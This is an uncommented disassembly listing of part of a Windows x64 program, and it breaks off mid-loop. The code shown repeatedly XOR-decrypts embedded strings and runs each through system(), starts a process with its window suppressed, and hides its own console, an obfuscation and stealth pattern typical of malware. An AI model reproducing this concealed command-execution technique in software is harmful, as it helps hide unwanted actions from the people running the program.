lea rcx, [rbp + 0xa0]
call fcn.140058f40
nop
mov eax, dword [0x140173efc]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140173f00]
mov word [rbp - 0x1c], ax
mov byte [rbp - 0x20], Ordinal_35
xor byte [rbp - 0x1f], 0x39
xor byte [rbp - 0x1e], 0x3a
xor byte [rbp - 0x1d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x1c], al
xor byte [rbp - 0x1b], 0x3d
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
lea rax, [rsp + 0x50]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400b9500
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x180]
call fcn.140058f40
nop
movsd xmm0, qword [str._LHW]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140174210]
mov word [rsp + 0x58], ax
cmp byte [0x140174211], 0
je 0x1400b9571
mov byte [rsp + 0x50], 0x63
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor byte [rsp + 0x56], 0x3e
xor byte [rsp + 0x57], 0x3f
xor byte [rsp + 0x58], 0x40
xor byte [rsp + 0x59], 0x41
lea rax, [rsp + 0x50]
mov r9, rdi
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400b9580
lea r8, [rsp + 0x50]
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.140061650
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rax, [rbp - 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400b95d0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call fcn.140058ac0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.140060a90
nop
lea rax, [rsp + 0x60]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400b9620
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.140058ac0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x50]
lea rcx, [rbp + 0x1c0]
call fcn.140060a90
nop
lea rcx, [rbp + 0x50]
call fcn.14003d4d0
nop
lea rcx, [rsp + 0x70]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x20]
call fcn.14003d4d0
nop
lea rcx, [rbp - 0x10]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0xa0]
call fcn.14003d4d0
nop
lea rcx, [rbp + 0x80]
call fcn.14003d4d0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rax
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x200], WSAGetLastError
mov dword [rbp + 0x23c], 1
mov word [rbp + 0x240], bx
lea rdx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova rdx, qword [rbp + 0x1c0]
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400b979c
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1c0]
call fcn.14003d4d0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [str.lxipwtrs_n]
movups xmmword [rbp + 0x1a0], xmm0
movsd xmm0, qword [0x1401749b0]
movsd qword [rbp + 0x1b0], xmm0
mov eax, dword [0x1401749b8]
mov dword [rbp + 0x1b8], eax
movzx eax, byte [0x1401749bc]
mov byte [rbp + 0x1bc], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400b993d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x1a4]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400b9830
cmp r8d, 0x1d
jge 0x1400b9983
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400b9950
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
movups xmm0, xmmword [0x140175a20]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175a30]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175a40]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140175a50]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140175a60]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x140175a70]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x140175a78]
mov word [rbp - 0x38], ax
movzx eax, byte [0x140175a7a]
mov byte [rbp - 0x36], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400b9b4d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400b9a40
cmp r8d, 0x5b
jge 0x1400b9b93
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5b
jl 0x1400b9b60
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140176170]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140176180]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140176190]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1401761a0]
movups xmmword [rbp - 0x60], xmm1
mov eax, dword [0x1401761b0]
mov dword [rbp - 0x50], eax
movzx eax, word [0x1401761b4]
mov word [rbp - 0x4c], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400b9d2d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400b9c20
cmp r8d, 0x46
jge 0x1400b9d73
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x46
jl 0x1400b9d40
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140175070]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175080]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175090]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1401750a0]
movups xmmword [rbp - 0x60], xmm1
mov eax, dword [0x1401750b0]
mov dword [rbp - 0x50], eax
movzx eax, word [0x1401750b4]
mov word [rbp - 0x4c], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400b9f0d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400b9e00
cmp r8d, 0x46
jge 0x1400b9f53
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x46
jl 0x1400b9f20
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140174760]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174770]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174780]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140174790]
movups xmmword [rbp - 0x60], xmm1
movzx eax, byte [0x1401747a0]
mov byte [rbp - 0x50], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400ba0dd
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400b9fd0
cmp r8d, 0x41
jge 0x1400ba123
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x1400ba0f0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401762b8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1401762c8]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1401762d8]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x1401762e8]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1401762ec]
mov word [rbp - 0x5c], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400ba2ad
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400ba1a0
cmp r8d, 0x36
jge 0x1400ba2f3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x1400ba2c0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401756a8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1401756b8]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1401756c8]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x1401756d8]
mov byte [rbp - 0x60], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400ba47d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400ba370
cmp r8d, 0x31
jge 0x1400ba4c3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400ba490
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400ba4d0
mov rax, r12
mov rdx, qword [0x1415fe050]
sub rax, rdx
cmp rax, rcx
jb 0x1400c144c
lea rsi, [0x1415fe040]
mov rax, rsi
cmp qword [0x1415fe058], 0xf
cmova rax, qword [0x1415fe040]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140175718]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175728]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175738]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x140175748]
mov byte [rbp - 0x60], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400ba6cd
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
